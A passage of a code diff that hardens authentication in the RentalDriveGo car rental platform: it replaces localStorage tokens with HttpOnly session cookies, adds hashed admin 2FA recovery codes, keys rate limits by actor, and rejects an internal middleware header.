+ })
+ const json = await res.json()
+@@ -1039,6 +1042,7 @@
+ const res = await fetch(`${ADMIN_API_BASE}/admin/pricing`, {
+ method: 'PATCH',
+ headers: { 'Content-Type': 'application/json', ...authHeaders() },
++ credentials: 'include',
+ body: JSON.stringify({ entries }),
+ })
+ const json = await res.json()
+diff -ruN '--exclude=node_modules' '--exclude=.git' '--exclude=.next' '--exclude=dist' '--exclude=build' /mnt/data/car_project_leftover_before/apps/admin/src/app/dashboard/renters/page.tsx /mnt/data/car_project_leftover/apps/admin/src/app/dashboard/renters/page.tsx
+--- /mnt/data/car_project_leftover_before/apps/admin/src/app/dashboard/renters/page.tsx 2026-06-09 19:47:54.000000000 +0000
++++ /mnt/data/car_project_leftover/apps/admin/src/app/dashboard/renters/page.tsx 2026-06-09 23:28:04.036400425 +0000
+@@ -70,13 +70,11 @@
+ const [error, setError] = useState(null)
+ const [actioning, setActioning] = useState(null)
+
+- function getToken() { return '' }
+-
+ async function fetchRenters() {
+ try {
+ const res = await fetch(`${ADMIN_API_BASE}/admin/renters`, {
+- headers: { Authorization: `Bearer ${getToken()}` },
+ cache: 'no-store',
++ credentials: 'include',
+ })
+ const json = await res.json()
+ if (!res.ok) throw new Error(json?.message ?? 'Failed')
+@@ -105,7 +103,7 @@
+ const endpoint = isBlocked ? 'unblock' : 'block'
+ const res = await fetch(`${ADMIN_API_BASE}/admin/renters/${id}/${endpoint}`, {
+ method: 'POST',
+- headers: { Authorization: `Bearer ${getToken()}` },
++ credentials: 'include',
+ })
+ if (!res.ok) throw new Error('Action failed')
+ await fetchRenters()
+diff -ruN '--exclude=node_modules' '--exclude=.git' '--exclude=.next' '--exclude=dist' '--exclude=build' /mnt/data/car_project_leftover_before/apps/admin/src/app/forgot-password/page.tsx /mnt/data/car_project_leftover/apps/admin/src/app/forgot-password/page.tsx
+--- /mnt/data/car_project_leftover_before/apps/admin/src/app/forgot-password/page.tsx 2026-06-09 19:47:54.000000000 +0000
++++ /mnt/data/car_project_leftover/apps/admin/src/app/forgot-password/page.tsx 2026-06-09 23:28:30.467977305 +0000
+@@ -19,6 +19,7 @@
+ const res = await fetch(`${ADMIN_API_BASE}/admin/auth/forgot-password`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
++ credentials: 'include',
+ body: JSON.stringify({ email }),
+ })
+ if (!res.ok) throw new Error()
+diff -ruN '--exclude=node_modules' '--exclude=.git' '--exclude=.next' '--exclude=dist' '--exclude=build' /mnt/data/car_project_leftover_before/apps/admin/src/app/reset-password/page.tsx /mnt/data/car_project_leftover/apps/admin/src/app/reset-password/page.tsx
+--- /mnt/data/car_project_leftover_before/apps/admin/src/app/reset-password/page.tsx 2026-06-09 19:47:54.000000000 +0000
++++ /mnt/data/car_project_leftover/apps/admin/src/app/reset-password/page.tsx 2026-06-09 23:28:30.468921934 +0000
+@@ -35,6 +35,7 @@
+ const res = await fetch(`${ADMIN_API_BASE}/admin/auth/reset-password`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
++ credentials: 'include',
+ body: JSON.stringify({ token, password }),
+ })
+ const json = await res.json()
+diff -ruN '--exclude=node_modules' '--exclude=.git' '--exclude=.next' '--exclude=dist' '--exclude=build' /mnt/data/car_project_leftover_before/apps/admin/src/middleware.ts /mnt/data/car_project_leftover/apps/admin/src/middleware.ts
+--- /mnt/data/car_project_leftover_before/apps/admin/src/middleware.ts 1970-01-01 00:00:00.000000000 +0000
++++ /mnt/data/car_project_leftover/apps/admin/src/middleware.ts 2026-06-09 23:29:06.361808166 +0000
+@@ -0,0 +1,17 @@
++import { NextResponse } from 'next/server'
++import type { NextRequest } from 'next/server'
++
++export function middleware(request: NextRequest) {
++ if (request.headers.has('x-middleware-subrequest')) {
++ return new NextResponse('Unsupported internal request header', { status: 400 })
++ }
++
++ return NextResponse.next()
++}
++
++export const config = {
++ matcher: [
++ '/((?!_next|[^?]*\\.(?:html?|css|js(?!on)|jpe?g|webp|png|gif|svg|ttf|woff2?|ico|csv|docx?|xlsx?|zip|webmanifest)).*)',
++ '/(api|trpc)(.*)',
++ ],
++}
+diff -ruN '--exclude=node_modules' '--exclude=.git' '--exclude=.next' '--exclude=dist' '--exclude=build' /mnt/data/car_project_leftover_before/apps/api/src/app.ts /mnt/data/car_project_leftover/apps/api/src/app.ts
+--- /mnt/data/car_project_leftover_before/apps/api/src/app.ts 2026-06-09 22:54:05.000000000 +0000
++++ /mnt/data/car_project_leftover/apps/api/src/app.ts 2026-06-09 23:29:48.882746714 +0000
+@@ -80,6 +80,14 @@
+ }
+
+ app.use(requestIdMiddleware)
++
++ app.use((req, res, next) => {
++ if (req.headers['x-middleware-subrequest']) {
++ return res.status(400).json({ error: 'bad_request', message: 'Unsupported internal request header', statusCode: 400 })
++ }
++ next()
++ })
++
+ app.use(corsMiddleware)
+
+ // Customer identity documents must never be anonymously retrievable from the
+@@ -142,6 +150,7 @@
+ app.use(`${v1}/auth/company`, authLimiter, companyAuthRouter)
+ app.use(`${v1}/auth/employee`, authLimiter, employeeAuthRouter)
+
++ app.use(`${v1}/admin/auth`, authLimiter)
+ app.use(`${v1}/admin`, adminLimiter, adminRouter)
+
+ app.use(`${v1}/marketplace`, publicLimiter, marketplaceRouter)
+diff -ruN '--exclude=node_modules' '--exclude=.git' '--exclude=.next' '--exclude=dist' '--exclude=build' /mnt/data/car_project_leftover_before/apps/api/src/index.ts /mnt/data/car_project_leftover/apps/api/src/index.ts
+--- /mnt/data/car_project_leftover_before/apps/api/src/index.ts 2026-06-09 23:18:30.000000000 +0000
++++ /mnt/data/car_project_leftover/apps/api/src/index.ts 2026-06-09 23:28:49.446712077 +0000
+@@ -1,11 +1,13 @@
+ import http from 'http'
+ import { Server as SocketIOServer } from 'socket.io'
++import type { Socket } from 'socket.io'
+ import cron from 'node-cron'
+ import { redis } from './lib/redis'
+ import { prisma } from './lib/prisma'
+ import { assertStorageConfiguration } from './lib/storage'
+ import { createApp, corsOrigins } from './app'
+ import { verifyAnyActorToken } from './security/tokens'
++import { getSessionCookieName } from './security/sessionCookies'
+ import { sendNotification } from './services/notificationService'
+ import {
+ runTrialExpirationJob,
+@@ -24,9 +26,34 @@
+ cors: { origin: corsOrigins, credentials: true, methods: ['GET', 'POST'] },
+ })
+
++
++function readCookieFromHeader(cookieHeader: string | undefined, name: string): string | null {
++ if (!cookieHeader) return null
++
++ for (const chunk of cookieHeader.split(';')) {
++ const [rawName, ...rawValue] = chunk.trim().split('=')
++ if (rawName === name) return decodeURIComponent(rawValue.join('='))
++ }
++
++ return null
++}
++
++function getSocketSessionToken(socket: Socket): string | undefined {
++ const explicitToken = socket.handshake.auth?.token
++ if (typeof explicitToken === 'string' && explicitToken.trim()) return explicitToken.trim()
++
++ const cookieHeader = socket.request.headers.cookie
++ return (
++ readCookieFromHeader(cookieHeader, getSessionCookieName('employee')) ??
++ readCookieFromHeader(cookieHeader, getSessionCookieName('admin')) ??
++ readCookieFromHeader(cookieHeader, getSessionCookieName('renter')) ??
++ undefined
++ )
++}
++
+ // Authenticate socket connections via JWT before joining user rooms
+ io.use((socket, next) => {
+- const token = socket.handshake.auth?.token as string | undefined
++ const token = getSocketSessionToken(socket)
+ if (!token) return next() // unauthenticated connections allowed; they just don't join rooms
+ try {
+ const payload = verifyAnyActorToken(token)
+diff -ruN '--exclude=node_modules' '--exclude=.git' '--exclude=.next' '--exclude=dist' '--exclude=build' /mnt/data/car_project_leftover_before/apps/api/src/middleware/rateLimiter.ts /mnt/data/car_project_leftover/apps/api/src/middleware/rateLimiter.ts
+--- /mnt/data/car_project_leftover_before/apps/api/src/middleware/rateLimiter.ts 2026-06-09 20:23:21.000000000 +0000
++++ /mnt/data/car_project_leftover/apps/api/src/middleware/rateLimiter.ts 2026-06-09 23:29:25.392962826 +0000
+@@ -1,5 +1,54 @@
+ import rateLimit, { ipKeyGenerator } from 'express-rate-limit'
+ import type { Request } from 'express'
++import { verifyAnyActorToken } from '../security/tokens'
++import { getSessionCookieName } from '../security/sessionCookies'
++
++
++const SESSION_COOKIE_NAMES = [
++ getSessionCookieName('admin'),
++ getSessionCookieName('employee'),
++ getSessionCookieName('renter'),
++]
++
++function readCookie(cookieHeader: string | undefined, name: string): string | null {
++ if (!cookieHeader) return null
++
++ for (const chunk of cookieHeader.split(';')) {
++ const [rawName, ...rawValue] = chunk.trim().split('=')
++ if (rawName === name) return decodeURIComponent(rawValue.join('='))
++ }
++
++ return null
++}
++
++function getBearerToken(req: Request): string | null {
++ const authHeader = req.headers.authorization
++ if (!authHeader?.startsWith('Bearer ')) return null
++ const token = authHeader.slice(7).trim()
++ return token || null
++}
++
++function getRequestToken(req: Request): string | null {
++ const cookieHeader = req.headers.cookie
++ for (const name of SESSION_COOKIE_NAMES) {
++ const token = readCookie(cookieHeader, name)
++ if (token) return token
++ }
++
++ return getBearerToken(req)
++}
++
++function getAuthenticatedActorKey(req: Request): string | null {
++ const token = getRequestToken(req)
++ if (!token) return null
++
++ try {
++ const payload = verifyAnyActorToken(token)
++ return `${payload.type}:${payload.sub}`
++ } catch {
++ return null
++ }
++}
+
+ // req.ip is already the real client IP when app.set('trust proxy', 1) is configured
+ const getClientIpKey = (req: Request) => ipKeyGenerator(req.ip ?? '')
+@@ -25,9 +74,10 @@
+ legacyHeaders: false,
+ keyGenerator: (req) => {
+ const ip = getClientIpKey(req)
++ const actorKey = getAuthenticatedActorKey(req)
+ const companyId = (req as any).companyId ?? ''
+ const renterId = (req as any).renterId ?? ''
+- return `${ip}:${companyId || renterId}`
++ return `${ip}:${actorKey || companyId || renterId || 'anonymous'}`
+ },
+ message: { error: 'too_many_requests', message: 'Rate limit exceeded', statusCode: 429 },
+ })
+@@ -48,7 +98,10 @@
+ max: 100,
+ standardHeaders: 'draft-7',
+ legacyHeaders: false,
+- keyGenerator: (req) => getClientIpKey(req),
++ keyGenerator: (req) => {
++ const ip = getClientIpKey(req)
++ return `${ip}:${getAuthenticatedActorKey(req) || 'anonymous'}`
++ },
+ message: { error: 'too_many_requests', message: 'Too many admin requests', statusCode: 429 },
+ })
+
+@@ -62,11 +115,12 @@
+ legacyHeaders: false,
+ keyGenerator: (req) => {
+ const ip = getClientIpKey(req)
++ const actorKey = getAuthenticatedActorKey(req)
+ const companyId = (req as any).companyId ?? ''
+ const employeeId = (req as any).employee?.id ?? ''
+ const renterId = (req as any).renterId ?? ''
+ const adminId = (req as any).admin?.id ?? ''
+- return `${ip}:${companyId}:${employeeId || renterId || adminId || 'anonymous'}`
++ return `${ip}:${companyId}:${actorKey || employeeId || renterId || adminId || 'anonymous'}`
+ },
+ message: { error: 'too_many_requests', message: 'Authenticated rate limit exceeded', statusCode: 429 },
+ })
+diff -ruN '--exclude=node_modules' '--exclude=.git' '--exclude=.next' '--exclude=dist' '--exclude=build' /mnt/data/car_project_leftover_before/apps/api/src/modules/admin/admin.repo.ts /mnt/data/car_project_leftover/apps/api/src/modules/admin/admin.repo.ts
+--- /mnt/data/car_project_leftover_before/apps/api/src/modules/admin/admin.repo.ts 2026-06-09 20:16:42.000000000 +0000
++++ /mnt/data/car_project_leftover/apps/api/src/modules/admin/admin.repo.ts 2026-06-09 23:30:31.717917907 +0000
+@@ -58,6 +58,28 @@
+ return prisma.adminUser.update({ where: { id }, data: { totpEnabled: true } })
+ }
+
++
++export async function replaceAdminRecoveryCodes(adminUserId: string, codeHashes: string[]) {
++ return prisma.$transaction(async (tx) => {
++ await tx.adminRecoveryCode.deleteMany({ where: { adminUserId } })
++ await tx.adminRecoveryCode.createMany({
++ data: codeHashes.map((codeHash) => ({ adminUserId, codeHash })),
++ })
++ })
++}
++
++export function listUnusedAdminRecoveryCodes(adminUserId: string) {
++ return prisma.adminRecoveryCode.findMany({
++ where: { adminUserId, usedAt: null },
++ select: { id: true, codeHash: true },
++ orderBy: { createdAt: 'asc' },
++ })
++}
++
++export function markAdminRecoveryCodeUsed(id: string) {
++ return prisma.adminRecoveryCode.update({ where: { id }, data: { usedAt: new Date() } })
++}
++
+ export function setAdminPasswordReset(id: string, token: string, expiresAt: Date) {
+ return prisma.adminUser.update({
+ where: { id },
+diff -ruN '--exclude=node_modules' '--exclude=.git' '--exclude=.next' '--exclude=dist' '--exclude=build' /mnt/data/car_project_leftover_before/apps/api/src/modules/admin/admin.routes.ts /mnt/data/car_project_leftover/apps/api/src/modules/admin/admin.routes.ts
+--- /mnt/data/car_project_leftover_before/apps/api/src/modules/admin/admin.routes.ts 2026-06-09 20:20:36.000000000 +0000
++++ /mnt/data/car_project_leftover/apps/api/src/modules/admin/admin.routes.ts 2026-06-09 23:31:00.522967384 +0000
+@@ -42,8 +42,8 @@
+
+ router.post('/auth/login', async (req, res, next) => {
+ try {
+- const { email, password, totpCode } = parseBody(loginSchema, req)
+- const result = await service.login(email, password, totpCode)
++ const { email, password, totpCode, recoveryCode } = parseBody(loginSchema, req)
++ const result = await service.login(email, password, totpCode, recoveryCode)
+ if (!result) return res.status(401).json({ error: 'invalid_credentials', message: 'Invalid email or password', statusCode: 401 })
+ if ('totpRequired' in result) return res.status(401).json({ error: 'totp_required', message: '2FA code required', statusCode: 401 })
+ if ('invalidTotp' in result) return res.status(401).json({ error: 'invalid_totp', message: 'Invalid 2FA code', statusCode: 401 })
+@@ -92,7 +92,13 @@
+ const result = await service.verifyTotp(req.admin.id, code)
+ if (!result) return res.status(400).json({ error: 'invalid_code', message: 'Invalid 2FA code', statusCode: 400 })
+ setSessionCookie(res, 'admin', result.token, 8 * 60 * 60 * 1000)
+- ok(res, { success: true, admin: result.admin })
++ ok(res, { success: true, admin: result.admin, recoveryCodes: result.recoveryCodes })
++ } catch (err) { next(err) }
++})
++
++router.post('/auth/2fa/recovery-codes/regenerate', requireAdminAuth, requireFreshAdmin2FA, async (req, res, next) => {
++ try {
++ ok(res, await service.regenerateRecoveryCodes(req.admin.id))
+ } catch (err) { next(err) }
+ })
+
+diff -ruN '--exclude=node_modules' '--exclude=.git' '--exclude=.next' '--exclude=dist' '--exclude=build' /mnt/data/car_project_leftover_before/apps/api/src/modules/admin/admin.schemas.ts /mnt/data/car_project_leftover/apps/api/src/modules/admin/admin.schemas.ts
+--- /mnt/data/car_project_leftover_before/apps/api/src/modules/admin/admin.schemas.ts 2026-06-09 19:40:36.000000000 +0000
++++ /mnt/data/car_project_leftover/apps/api/src/modules/admin/admin.schemas.ts 2026-06-09 23:31:00.520959931 +0000
+@@ -5,6 +5,7 @@
+ email: z.string().email().max(255).trim().toLowerCase(),
+ password: z.string().max(128),
+ totpCode: z.string().length(6).optional(),
++ recoveryCode: z.string().min(8).max(32).optional(),
+ })
+
+ export const forgotPasswordSchema = z.object({
+diff -ruN '--exclude=node_modules' '--exclude=.git' '--exclude=.next' '--exclude=dist' '--exclude=build' /mnt/data/car_project_leftover_before/apps/api/src/modules/admin/admin.service.ts /mnt/data/car_project_leftover/apps/api/src/modules/admin/admin.service.ts
+--- /mnt/data/car_project_leftover_before/apps/api/src/modules/admin/admin.service.ts 2026-06-09 20:20:34.000000000 +0000
++++ /mnt/data/car_project_leftover/apps/api/src/modules/admin/admin.service.ts 2026-06-09 23:30:44.361011542 +0000
+@@ -10,6 +10,47 @@
+ import * as billingService from './admin.billing.service'
+
+ const ADMIN_RESET_TTL_MINUTES = 60
++const ADMIN_RECOVERY_CODE_COUNT = 10
++
++
++function generateRecoveryCode() {
++ const raw = crypto.randomBytes(9).toString('base64url').replace(/[^a-zA-Z0-9]/g, '').toUpperCase().slice(0, 12)
++ return `${raw.slice(0, 4)}-${raw.slice(4, 8)}-${raw.slice(8, 12)}`
++}
++
++async function issueAdminRecoveryCodes(adminId: string) {
++ const codes = Array.from({ length: ADMIN_RECOVERY_CODE_COUNT }, generateRecoveryCode)
++ const hashes = await Promise.all(codes.map((code) => bcrypt.hash(code, 12)))
++ await repo.replaceAdminRecoveryCodes(adminId, hashes)
++ await repo.createAuditLog({
++ adminUserId: adminId,
++ action: 'ADMIN_2FA_RECOVERY_CODES_ISSUED',
++ resource: 'AdminUser',
++ resourceId: adminId,
++ })
++ return codes
++}
++
++async function consumeAdminRecoveryCode(adminId: string, code: string) {
++ const normalized = code.trim().toUpperCase()
++ if (!normalized) return false
++
++ const codes = await repo.listUnusedAdminRecoveryCodes(adminId)
++ for (const candidate of codes) {
++ if (await bcrypt.compare(normalized, candidate.codeHash)) {
++ await repo.markAdminRecoveryCodeUsed(candidate.id)
++ await repo.createAuditLog({
++ adminUserId: adminId,
++ action: 'ADMIN_2FA_RECOVERY_CODE_USED',
++ resource: 'AdminUser',
++ resourceId: adminId,
++ })
++ return true
++ }
++ }
++
++ return false
++}
+
+ function signAdminToken(adminId: string, last2faAt?: number) {
+ return signActorToken(adminId, 'admin', { expiresIn: '8h', last2faAt })
+@@ -31,7 +72,7 @@
+ }
+ }
+
+-export async function login(email: string, password: string, totpCode?: string) {
++export async function login(email: string, password: string, totpCode?: string, recoveryCode?: string) {
+ const admin = await repo.findAdminByEmail(email)
+ if (!admin || !admin.isActive) return null
+
+@@ -39,8 +80,16 @@
+ if (!valid) return null
+
+ if (admin.totpEnabled) {
+- if (!totpCode) return { totpRequired: true } as const
+- if (!authenticator.verify({ token: totpCode, secret: admin.totpSecret! })) {
++ if (!totpCode && !recoveryCode) return { totpRequired: true } as const
++
++ const validTotp = totpCode
++ ? authenticator.verify({ token: totpCode, secret: admin.totpSecret! })
++ : false
++ const validRecoveryCode = !validTotp && recoveryCode
++ ? await consumeAdminRecoveryCode(admin.id, recoveryCode)
++ : false
++
++ if (!validTotp && !validRecoveryCode) {
+ return { invalidTotp: true } as const
+ }
+ }
+@@ -78,7 +127,15 @@
+ resource: 'AdminUser',
+ resourceId: adminId,
+ })
+- return presenter.presentAdminSession({ ...admin, totpEnabled: true }, signAdminToken(adminId, Date.now()))
++ const recoveryCodes = await issueAdminRecoveryCodes(adminId)
++ return {
++ ...presenter.presentAdminSession({ ...admin, totpEnabled: true }, signAdminToken(adminId, Date.now())),
++ recoveryCodes,
++ }
++}
++
++export async function regenerateRecoveryCodes(adminId: string) {
++ return { recoveryCodes: await issueAdminRecoveryCodes(adminId) }
+ }
+
+ export async function forgotPassword(email: string) {
+diff -ruN '--exclude=node_modules' '--exclude=.git' '--exclude=.next' '--exclude=dist' '--exclude=build' /mnt/data/car_project_leftover_before/apps/api/src/swagger/openapi.ts /mnt/data/car_project_leftover/apps/api/src/swagger/openapi.ts
+--- /mnt/data/car_project_leftover_before/apps/api/src/swagger/openapi.ts 2026-06-09 19:40:36.000000000 +0000
++++ /mnt/data/car_project_leftover/apps/api/src/swagger/openapi.ts 2026-06-09 23:33:40.274784566 +0000
+@@ -96,7 +96,7 @@
+ openapi: '3.0.3',
+ info: {
+ title: 'RentalDriveGo API',
+- description: 'REST API for the RentalDriveGo car rental management platform.\n\n**Auth:** Most endpoints require a Bearer JWT. Obtain a token via `/auth/employee/login` (dashboard/admin users) or via Firebase for renters.',
++ description: 'REST API for the RentalDriveGo car rental management platform.\n\n**Auth:** Most browser endpoints use HttpOnly session cookies issued by `/auth/employee/login`, `/admin/auth/login`, or renter auth. Trusted server/mobile contexts may still use Bearer JWTs where documented.',
+ version: '1.0.0',
+ contact: { name: 'RentalDriveGo', email: 'support@rentaldrivego.com' },
+ },
+diff -ruN '--exclude=node_modules' '--exclude=.git' '--exclude=.next' '--exclude=dist' '--exclude=build' /mnt/data/car_project_leftover_before/apps/dashboard/README.md /mnt/data/car_project_leftover/apps/dashboard/README.md
+--- /mnt/data/car_project_leftover_before/apps/dashboard/README.md 2026-06-09 20:06:04.000000000 +0000
++++ /mnt/data/car_project_leftover/apps/dashboard/README.md 2026-06-09 23:33:32.875527724 +0000
+@@ -89,7 +89,7 @@
+ src/hooks/
+ useTeam.ts team management data/actions
+ src/lib/
+- api.ts fetch wrapper and auth token handling
++ api.ts cookie-aware API fetch wrapper
+ preferences.ts language/theme persistence scoped per employee
+ dashboardPaths.ts normalizes basePath-aware routes
+ urls.ts resolves marketplace/admin app links
+@@ -102,7 +102,7 @@
+
+ That is a deliberate fit for the app because the dashboard relies heavily on:
+
+-- local auth state from `localStorage`
++- HttpOnly session-cookie authentication
+ - cookie and embedded-host redirects
+ - optimistic UI updates
+ - direct REST fetches after mount
+@@ -117,7 +117,7 @@
+
+ ## Auth and Session Model
+
+-The dashboard uses employee JWTs issued by the API.
++The dashboard uses API-issued employee sessions stored in an HttpOnly cookie.
+
+ ### Login flow
+
+@@ -132,7 +132,7 @@
+
+ - language and theme query params
+ - embedded usage through `postMessage`
+-- redirect handoff to the admin app when an admin token is returned instead of an employee token
++- redirect handoff to the admin app after the API sets the admin HttpOnly session cookie
+
+ ### Protected-route middleware
+
+@@ -221,7 +221,7 @@
+ - current theme: `light`, `dark`
+ - full in-app copy dictionaries
+ - persistence to cookies and `localStorage`
+-- per-employee scoped preferences using the decoded JWT subject
++- per-employee scoped preferences using non-sensitive cached profile metadata
+
+ `src/lib/preferences.ts` is the key utility here. It stores both:
+
+@@ -238,7 +238,7 @@
+
+ Browser fetch behavior:
+
+-- reads the JWT from `localStorage`
++- never reads authentication tokens from `localStorage`
+ - sends authenticated requests with the HttpOnly session cookie
+ - defaults JSON requests to `Content-Type: application/json`
+ - preserves `FormData` for file uploads
+@@ -252,7 +252,7 @@
+
+ ### `apiFetchServer`
+
+-Server-side helper for routes/components that already have a token and need `cache: 'no-store'`.
++Server-side helper for routes/components that explicitly receive a trusted server-side token and need `cache: 'no-store'`. Browser code should use HttpOnly cookies instead.
+
+ ### Pattern used across pages
+
+@@ -646,7 +646,7 @@
+ It also coordinates with sibling apps:
+
+ - `marketplaceUrl` links staff back to the public marketplace domain
+-- `adminUrl` supports token handoff into the admin interface
++- `adminUrl` supports cookie-based handoff into the admin interface
+ - host-aware URL rewriting allows the same app to function under external domains, internal Docker hostnames, and proxied environments
+
+ ## API Dependency Summary
+diff -ruN '--exclude=node_modules' '--exclude=.git' '--exclude=.next' '--exclude=dist' '--exclude=build' /mnt/data/car_project_leftover_before/apps/dashboard/src/app/(dashboard)/team/page.tsx /mnt/data/car_project_leftover/apps/dashboard/src/app/(dashboard)/team/page.tsx
+--- /mnt/data/car_project_leftover_before/apps/dashboard/src/app/(dashboard)/team/page.tsx 2026-06-09 19:40:36.000000000 +0000
++++ /mnt/data/car_project_leftover/apps/dashboard/src/app/(dashboard)/team/page.tsx 2026-06-09 23:27:26.237955395 +0000
+@@ -4,7 +4,7 @@
+ import InviteModal from '@/components/team/InviteModal'
+ import EditMemberModal from '@/components/team/EditMemberModal'
+ import PermissionsMatrix from '@/components/team/PermissionsMatrix'
+-import { EMPLOYEE_TOKEN_KEY } from '@/lib/api'
++import { apiFetch } from '@/lib/api'
+ import { useTeam, TeamMember, InvitePayload } from '@/hooks/useTeam'
+ import { useDashboardI18n } from '@/components/I18nProvider'
+
+@@ -193,18 +193,17 @@
+ const [toast, setToast] = useState(null)
+
+ useEffect(() => {
+- const token = window.localStorage.getItem(EMPLOYEE_TOKEN_KEY)
+- if (!token) return
++ let cancelled = false
+
+- try {
+- const encoded = token.split('.')[1] ?? ''
+- const normalized = encoded.replace(/-/g, '+').replace(/_/g, '/')
+- const padded = normalized.padEnd(Math.ceil(normalized.length / 4) * 4, '=')
+- const payload = JSON.parse(atob(padded))
+- setCurrentEmployeeId(typeof payload?.sub === 'string' ? payload.sub : null)
+- } catch {
+- setCurrentEmployeeId(null)
+- }
++ apiFetch<{ employee: { id: string } }>('/auth/employee/me')
++ .then(({ employee }) => {
++ if (!cancelled) setCurrentEmployeeId(employee.id)
++ })
++ .catch(() => {
++ if (!cancelled) setCurrentEmployeeId(null)
++ })
++
++ return () => { cancelled = true }
+ }, [])
+
+ const currentEmployee = members.find((member) => member.id === currentEmployeeId)
+diff -ruN '--exclude=node_modules' '--exclude=.git' '--exclude=.next' '--exclude=dist' '--exclude=build' /mnt/data/car_project_leftover_before/apps/dashboard/src/app/sign-in/[[...sign-in]]/SignInPageClient.tsx /mnt/data/car_project_leftover/apps/dashboard/src/app/sign-in/[[...sign-in]]/SignInPageClient.tsx
+--- /mnt/data/car_project_leftover_before/apps/dashboard/src/app/sign-in/[[...sign-in]]/SignInPageClient.tsx 2026-06-09 19:47:19.000000000 +0000
++++ /mnt/data/car_project_leftover/apps/dashboard/src/app/sign-in/[[...sign-in]]/SignInPageClient.tsx 2026-06-09 23:31:15.852597731 +0000
+@@ -7,7 +7,7 @@
+ import { useDashboardI18n } from '@/components/I18nProvider'
+ import PublicShell from '@/components/layout/PublicShell'
+ import { adminUrl, marketplaceUrl } from '@/lib/urls'
+-import { API_BASE, EMPLOYEE_PROFILE_KEY, EMPLOYEE_TOKEN_KEY } from '@/lib/api'
++import { API_BASE, EMPLOYEE_PROFILE_KEY } from '@/lib/api'
+ import { toPublicDashboardPath } from '@/lib/dashboardPaths'
+
+ const DASHBOARD_LOGO_SRC = '/dashboard/rentalcardrive.png'
+@@ -295,11 +295,16 @@
+ setError(null)
+
+ try {
++ const normalizedCode = totpCode.trim().toUpperCase()
++ const secondFactor = /^\d{6}$/.test(normalizedCode)
++ ? { totpCode: normalizedCode }
++ : { recoveryCode: normalizedCode }
++
+ const adminRes = await fetch(`${API_BASE}/admin/auth/login`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ credentials: 'include',
+- body: JSON.stringify({ email, password, totpCode }),
++ body: JSON.stringify({ email, password, ...secondFactor }),
+ })
+ const adminJson = await adminRes.json()
+
+@@ -393,13 +398,13 @@
+ {dict.authCode}
+ setTotpCode(e.target.value.replace(/\D/g, ''))}
+- placeholder="000000"
++ onChange={(e) => setTotpCode(e.target.value.replace(/[^0-9A-Za-z-]/g, '').toUpperCase())}
++ placeholder="000000 or XXXX-XXXX-XXXX"
+ className="w-full rounded-2xl border border-stone-200 bg-white px-4 py-3 text-center text-xl tracking-[0.45em] text-stone-900 transition-colors placeholder:text-stone-400 focus:border-transparent focus:outline-none focus:ring-2 focus:ring-orange-500 dark:border-blue-800 dark:bg-blue-950/80 dark:text-stone-100 dark:placeholder:text-stone-500"
+ />
+
+diff -ruN '--exclude=node_modules' '--exclude=.git' '--exclude=.next' '--exclude=dist' '--exclude=build' /mnt/data/car_project_leftover_before/apps/dashboard/src/components/layout/Sidebar.tsx /mnt/data/car_project_leftover/apps/dashboard/src/components/layout/Sidebar.tsx
+--- /mnt/data/car_project_leftover_before/apps/dashboard/src/components/layout/Sidebar.tsx 2026-06-09 19:47:35.000000000 +0000
++++ /mnt/data/car_project_leftover/apps/dashboard/src/components/layout/Sidebar.tsx 2026-06-09 23:27:14.281452585 +0000
+@@ -25,7 +25,7 @@
+ } from 'lucide-react'
+ import { DashboardLanguageSwitcher, DashboardThemeSwitcher, useDashboardI18n } from '@/components/I18nProvider'
+ import { marketplaceUrl } from '@/lib/urls'
+-import { EMPLOYEE_PROFILE_KEY, EMPLOYEE_TOKEN_KEY, apiFetch } from '@/lib/api'
++import { EMPLOYEE_PROFILE_KEY, apiFetch } from '@/lib/api'
+ import { toDashboardAppPath } from '@/lib/dashboardPaths'
+ import { SHARED_LANGUAGE_KEY, readCurrentUserScopedPreference } from '@/lib/preferences'
+
+@@ -166,9 +166,6 @@
+ }, [])
+
+ useEffect(() => {
+- const token = window.localStorage.getItem(EMPLOYEE_TOKEN_KEY)
+- if (!token) return
+-
+ let cancelled = false
+
+ async function loadBrand() {
+@@ -202,16 +199,6 @@
+ }, [])
+
+ useEffect(() => {
+- const token = window.localStorage.getItem(EMPLOYEE_TOKEN_KEY)
+- if (!token) {
+- setUser({
+- displayName: dict.workspaceUser,
+- subtitle: dict.localAuth,
+- initials: 'W',
+- })
+- return
+- }
+-
+ const cached = window.localStorage.getItem(EMPLOYEE_PROFILE_KEY)
+ if (cached) {
+ try {
+@@ -344,7 +331,6 @@
+ }
+
+ function signOut() {
+- localStorage.removeItem(EMPLOYEE_TOKEN_KEY)
+ localStorage.removeItem(EMPLOYEE_PROFILE_KEY)
+ void fetch('/dashboard/api/v1/auth/employee/logout', { method: 'POST', credentials: 'include' })
+ window.dispatchEvent(new CustomEvent('rentaldrivego:auth-changed'))
+diff -ruN '--exclude=node_modules' '--exclude=.git' '--exclude=.next' '--exclude=dist' '--exclude=build' /mnt/data/car_project_leftover_before/apps/dashboard/src/components/layout/TopBar.tsx /mnt/data/car_project_leftover/apps/dashboard/src/components/layout/TopBar.tsx
+--- /mnt/data/car_project_leftover_before/apps/dashboard/src/components/layout/TopBar.tsx 2026-06-09 19:40:36.000000000 +0000
++++ /mnt/data/car_project_leftover/apps/dashboard/src/components/layout/TopBar.tsx 2026-06-09 23:27:06.243088516 +0000
+@@ -4,7 +4,7 @@
+ import { usePathname, useRouter } from 'next/navigation'
+ import { useState, useEffect } from 'react'
+ import { io } from 'socket.io-client'
+-import { EMPLOYEE_PROFILE_KEY, EMPLOYEE_TOKEN_KEY, apiFetch } from '@/lib/api'
++import { EMPLOYEE_PROFILE_KEY, apiFetch } from '@/lib/api'
+ import { useDashboardI18n } from '@/components/I18nProvider'
+ import { toDashboardAppPath } from '@/lib/dashboardPaths'
+
+@@ -52,11 +52,6 @@
+ const [mounted, setMounted] = useState(false)
+ useEffect(() => { setMounted(true) }, [])
+
+- function getEmployeeToken() {
+- if (typeof window === 'undefined') return null
+- return window.localStorage.getItem(EMPLOYEE_TOKEN_KEY)
+- }
+-
+ const title = (() => {
+ if (!mounted) return dict.titles['/']
+ if (dict.titles[appPath]) return dict.titles[appPath]
+@@ -65,15 +60,12 @@
+ return dict.titles['/']
+ })()
+ async function refreshUnreadCount() {
+- if (!getEmployeeToken()) {
+- setUnreadCount(0)
+- return
+- }
+-
+ try {
